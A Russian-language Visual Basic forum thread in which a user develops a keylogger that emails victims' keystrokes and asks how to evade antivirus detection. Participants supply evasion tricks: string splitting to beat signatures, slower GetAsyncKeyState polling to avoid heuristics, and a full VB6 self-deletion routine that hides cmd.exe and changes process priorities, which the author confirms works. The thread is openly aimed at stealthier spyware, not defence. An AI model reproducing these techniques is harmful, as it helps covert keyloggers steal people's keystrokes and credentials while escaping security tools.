powered by simpleCommunicator - 2.0.53     © 2025 Programmizd 02
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / обходим антивирус
25 сообщений из 38, страница 1 из 2
обходим антивирус
    #37806213
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
сделал крутой кейлоггер, во всём обходящий предыдущие версии, кроме палевности. первые версии детектились антивирусом 0 из 42, а новая палится 8 из 42. в этом топике рассчитываю избавить от этой проблемы.
итак, первый опыт: моя прога самоудаляется:
Код: vbnet
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
Open "C:\Delself.bat" For Append As #F
    Print #1, "@echo off"
    Print #F, "ping 127.0.0.1 -n 5"
    Print #F, ":try"
    Print #F, "del C:\путь\файл.exe"
    Print #F, "if exist C:\путь\файл.exe goto try"
    Print #F, ":tryq"
    Print #F, "RmDir C:\путь"
    Print #F, "if exist C:\путь goto tryq"
    Print #F, "del C:\Delself.bat"
    'Print #F, "pause"
    Close #F
    Shell "C:\Delself.bat", vbHide
    Unload Me

убрал этот код из проги. палевность антивирями стала 5 из 42. отказываться от самоудаления не хо. в чём проблема? что посоветуете?

Shocker.Pro,
можешь разбанить меня? модеры на пт не узнают, я не пойду больше к этим злым дядям
...
Рейтинг: 0 / 0
обходим антивирус
    #37806227
QValD
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
BelowZeroTooCold,
как поведение антивирей связано с VB?
...
Рейтинг: 0 / 0
обходим антивирус
    #37806244
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
QValDBelowZeroTooCold,
как поведение антивирей связано с VB? вся прога написана на vb6. для обхода антивиря нужно будет искать заменять\удалять\модернизировать части кода. кода на vb6... я вижу тут связь, как ты - хз.
...
Рейтинг: 0 / 0
обходим антивирус
    #37806263
Фотография VSVLAD
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
BelowZeroTooCold,

В любом случае типо KIS/KAV спалят его. Сейчас расскажу одну вещь, это ещё было в AVP 6 вроде, я тестировал его как он спалит меня на кейлог, если использовать API функцию GetAsyncKeyState. Так вот если в таймере проверять какую-то клавишу с интервалом 100 мс - то палил, а если 300 мс - то нет =). Но в новых версиях не проверял. Но в нормальных антивирусах на все API связанные с клавиатурами и установками хуков стоит "защита" и при анализе подозрительных действий выведет что ПО есть Generic.Keylogger или типо такого...

Так что кейлогерство не особенно актуально когда антивирь запущен
...
Рейтинг: 0 / 0
обходим антивирус
    #37806287
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
VSVLAD,

по сути, ты прав. но предыдущую версию кейла касперский не палил. и вообще ничто не палило. кроме антикейла: видимо, он делал именно то, о чём ты писАл.
...
Рейтинг: 0 / 0
обходим антивирус
    #37806346
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
VSVLADесли в таймере проверять какую-то клавишу с интервалом 100 мс - то палил, а если 300 мс - то нет =) в моей проге GetAsyncKeyState прокатывает около сотни раз за 1 мс XDDD. я думал, что если делать интервал меньше, то нажатие просто не поймается. проверил с таймером 300мс и 100мс - большинство нажатий правда не ловятся. видимо, ты юзал эту функцию иначе. расскажешь?
...
Рейтинг: 0 / 0
обходим антивирус
    #37806369
AndreyMp
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Как этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
...
Рейтинг: 0 / 0
обходим антивирус
    #37806392
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
AndreyMpAndreyMpКак этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
Я пока не очень склонен банить топик, потому что вопросы, которые в нем обсуждаются в общем могли бы обсуждаться и вне контекста кейлоггера, как предыдущий топик автора на тему кейлоггера.

Но все же дам рекомендацию Белову обсуждать в дальнейшем подобные темы более абстрактно
...
Рейтинг: 0 / 0
обходим антивирус
    #37806415
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
AndreyMpКак этот топик и п.7 Правил соотносятся? Я бы отнес его к "иные способы взлома ПО".
кейлоггеры не запрещены никем и ничем. Shocker.ProНо все же дам рекомендацию Белову обсуждать в дальнейшем подобные темы более абстрактно оке, постараюсь. с разбаниванием никак?) сделал около десятка тестов: антивири воспринимают как угрозу именно строку
Код: vbnet
1.
Print #F, "del C:\путь\файл.exe"

, записанную в батник. при чём не важно, какой путь и имя какого файла в нём прописанно. удаляю строку - ругается 5 антивирей. ставлю обратно - 8. казалось бы, логично. но в моей проге имеется точная копия создания такого же батника, который удаляет прогу во время установки кейла. на него антивири не обращают внимание. из-за чего это может быть?
...
Рейтинг: 0 / 0
обходим антивирус
    #37806422
Фотография Shocker.Pro
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Попробуй что-то типа такого:
Код: vbnet
1.
Print #F, "d"+"e"+"l"+" "+"C"+":"+"\"+"п"+"у"+"т"+"+....
...
Рейтинг: 0 / 0
обходим антивирус
    #37806470
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Shocker.ProПопробуй что-то типа такого:
Код: vbnet
1.
Print #F, "d"+"e"+"l"+" "+"C"+":"+"\"+"п"+"у"+"т"+"+....

так же 8 из 42. попробовал запихнуть сначала в переменную - тоже палево. перепроверил: изменил имя батника, место его создания, так же 8 антивирусов недовольны
Код: vbnet
1.
2.
3.
Open "C:\любойпуть\любоеимя.bat" For Append As #F
Print #F, "del C:\любойпуть\любоеимя.exe"
Close #F 'угроза 8 из 42 

Код: vbnet
1.
2.
Open "C:\любойпуть\любоеимя.bat" For Append As #F
Close #F 'угроза 5 из 42 

а в это время батник, который выполняет точно такой же код, но при установке(распаковывает все составляющие проги и самоудаляется) не палится вообще
...
Рейтинг: 0 / 0
обходим антивирус
    #37806524
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
мне в голову пришла гениальная, хоть и провальная идея. я решил, что всё дело в таймере: батник, который без палева создаётся при установке, находится в Form_Load(). а тот, который палится, был в таймере. запихнул создание батника в процедуру - всё равно 8 обнаружений. переделал код, запихнул создание батника в Form_Load() прям рядом с другим созданием. код 1 в 1. два одинаковых создания батника. в одной процедуре. по одному условию(по имени екзешника). но палится именно эта строка второго создания батника. странно( я бы решил, что это корявые антивири, если бы 3 антивиря не показывали разницу одинаково
...
Рейтинг: 0 / 0
обходим антивирус
    #37806546
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ради интереса убрал строку с удалением из первого создания батника, второй оставил. получил угрозу только трёх антивирей XDDD бред какой-то
...
Рейтинг: 0 / 0
обходим антивирус
    #37806557
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
убрал из проги оба батника. теперь недоволен только один антивирь из всех. значит, всё дело в них. только странно как-то: одни антивири реагируют на один батник, другие на второй, хотя оба практически ничем не отличаются...
...
Рейтинг: 0 / 0
обходим антивирус
    #37806575
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
прога без батников: обнаружения 1 из 42
батники отдельно от проги(новый проект) 0 из 42
батники в проге: 5-8 из 42 в зависимости от фиг знает чего.
я понял, как мыслили создатели антивирей:
Код: vbnet
1.
2.
3.
4.
5.
if прога большая then
   if есть батники then
   'большая прога с батниками? подозрительно. давайте запишем их в вирусы чтобы пользователь знал что антивирь хоть чем-то занимается
   end if
end if
...
Рейтинг: 0 / 0
обходим антивирус
    #37806671
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
итак, вот, что я однаружил.
2 антивиря ругаются на наличие батников, удаляющих файл
3 антивиря ругаются, если в коде два и более заполнения батников
2 антивиря ругаются на удаление куков браузеров
1 антивирус ругается постоянно: VIPRE Trojan.Win32.VBInject.gen (v) что ему не нравится - хз.
подскажите, как обойти антивири в первых трёх случаях и почему ругается последний антивирь?
...
Рейтинг: 0 / 0
обходим антивирус
    #37806994
Дмитрий77
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
BelowZeroTooColdподскажите, как обойти антивири....?
Купи цифровую подпись Microsoft Code Signing и подпиши. Антивири -это беспредел. Но подписей эти твари боятся.
Либо пиши письма в (анти?)вирусные компании. Слово такое есть: false positive.
...
Рейтинг: 0 / 0
обходим антивирус
    #37808645
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
программу я проверял на сайте проекта вирустотал. и теперь моя почта заспамлена примерно двумястами письмами, и число логов постоянно растёт! это мне кажется очень странным. я могу дистанционно удалить их, но т.к. я мудился именно с батниками удаления, боюсь, кейлоггер не самоудалится по моей команде, а антивирусный сайт будет каждый день присылать мне по сотне писем с данными о нажатиях
...
Рейтинг: 0 / 0
обходим антивирус
    #37808974
радя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
BelowZeroTooColdа антивирусный сайт будет каждый день присылать мне по сотне писем с данными о нажатиях
Я искренне рад за то, что ты в своём дерьме тонешь! Продолжай в том же духе!
...
Рейтинг: 0 / 0
обходим антивирус
    #37822448
KRACHIK
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
BelowZeroTooCold, можно самоудолиться и без батников
в модуль:
Private Type SHELLEXECUTEINFO
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
' Optional fields
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type

Private Const IDLE_PRIORITY_CLASS = &H40
Private Const SEE_MASK_NOCLOSEPROCESS = &H40
Private Const REALTIME_PRIORITY_CLASS = &H100
Private Const THREAD_BASE_PRIORITY_LOWRT = 15
Private Const THREAD_PRIORITY_TIME_CRITICAL = THREAD_BASE_PRIORITY_LOWRT
Private Const NORMAL_PRIORITY_CLASS = &H20
Private Const THREAD_PRIORITY_NORMAL = 0
Private Const SW_HIDE = 0

Private Declare Function SetProcessPriorityBoost Lib "kernel32" (ByVal hProcess As Long, ByVal DisablePriorityBoost As Long)
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetEnvironmentVariable Lib "kernel32" Alias "GetEnvironmentVariableA" (ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
Private Declare Function SetThreadPriority Lib "kernel32" (ByVal hThread As Long, ByVal nPriority As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function GetCurrentThread Lib "kernel32" () As Long
Private Declare Function ShellExecuteEx Lib "shell32.dll" Alias "ShellExecuteExA" (sei As SHELLEXECUTEINFO) As Long

Function SelfDelete() As Boolean
Dim sei As SHELLEXECUTEINFO
Dim szModule As String, szComspec As String, szParams As String
Dim ilen As Long

szModule = String(256, " ")
szComspec = String(256, " ")

Call GetModuleFileName(0, szModule, 255)
ilen = GetShortPathName(szModule, szModule, 255)
szModule = Left$(szModule, ilen)

If GetEnvironmentVariable("COMSPEC", szComspec, 255) <> 0 Then

szParams = "/c del " & szModule & " > nul"

sei.cbSize = LenB(sei)
sei.hwnd = 0
sei.lpVerb = "Open"
sei.lpFile = szComspec
sei.lpParameters = szParams
sei.lpDirectory = 0
sei.nShow = SW_HIDE
sei.fMask = SEE_MASK_NOCLOSEPROCESS

Call SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL)

If ShellExecuteEx(sei) <> 0 Then
Call SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS)
Call SetProcessPriorityBoost(sei.hProcess, 1)
SelfDelete = True
Exit Function
Else
Call SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS)
Call SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL)
End If

End If
SelfDelete = False
End Function

на форму
Private Sub Command1_Click() 'Собственно само удаление
Unload Me
Call SelfDelete
End Sub
...
Рейтинг: 0 / 0
обходим антивирус
    #37823528
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
KRACHIK,

работает, спасибо!)
...
Рейтинг: 0 / 0
обходим антивирус
    #37824700
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
в одном из 2 самоудалений код отрабатывает с неудачей. возможно, из-за того, что папке, в которой находится файл, поставлены атрибуты скрытый+системный. +хз, как удалить папку,в которой находится самоудаляющаяся прога без копирования проги в другую папку
...
Рейтинг: 0 / 0
обходим антивирус
    #37824764
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
убрал системность и скрытость папки - всё равно ошибка 53 файл нот фаунд. в чём прикол?
...
Рейтинг: 0 / 0
обходим антивирус
    #37828087
BelowZeroTooCold
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
почему может не работать приведённый выше код? в 1 из 2 случаев он не выводит ошибку 53. а я уже заменил им свои батники.
...
Рейтинг: 0 / 0
обходим антивирус
    #37828407
BelowZeroTooColdпочему может не работать приведённый выше код? в 1 из 2 случаев он не выводит ошибку 53. а я уже заменил им свои батники.
А почему этот код должен работать во всех случаях? Объяснить можешь, не?
...
Рейтинг: 0 / 0
25 сообщений из 38, страница 1 из 2
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / обходим антивирус
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]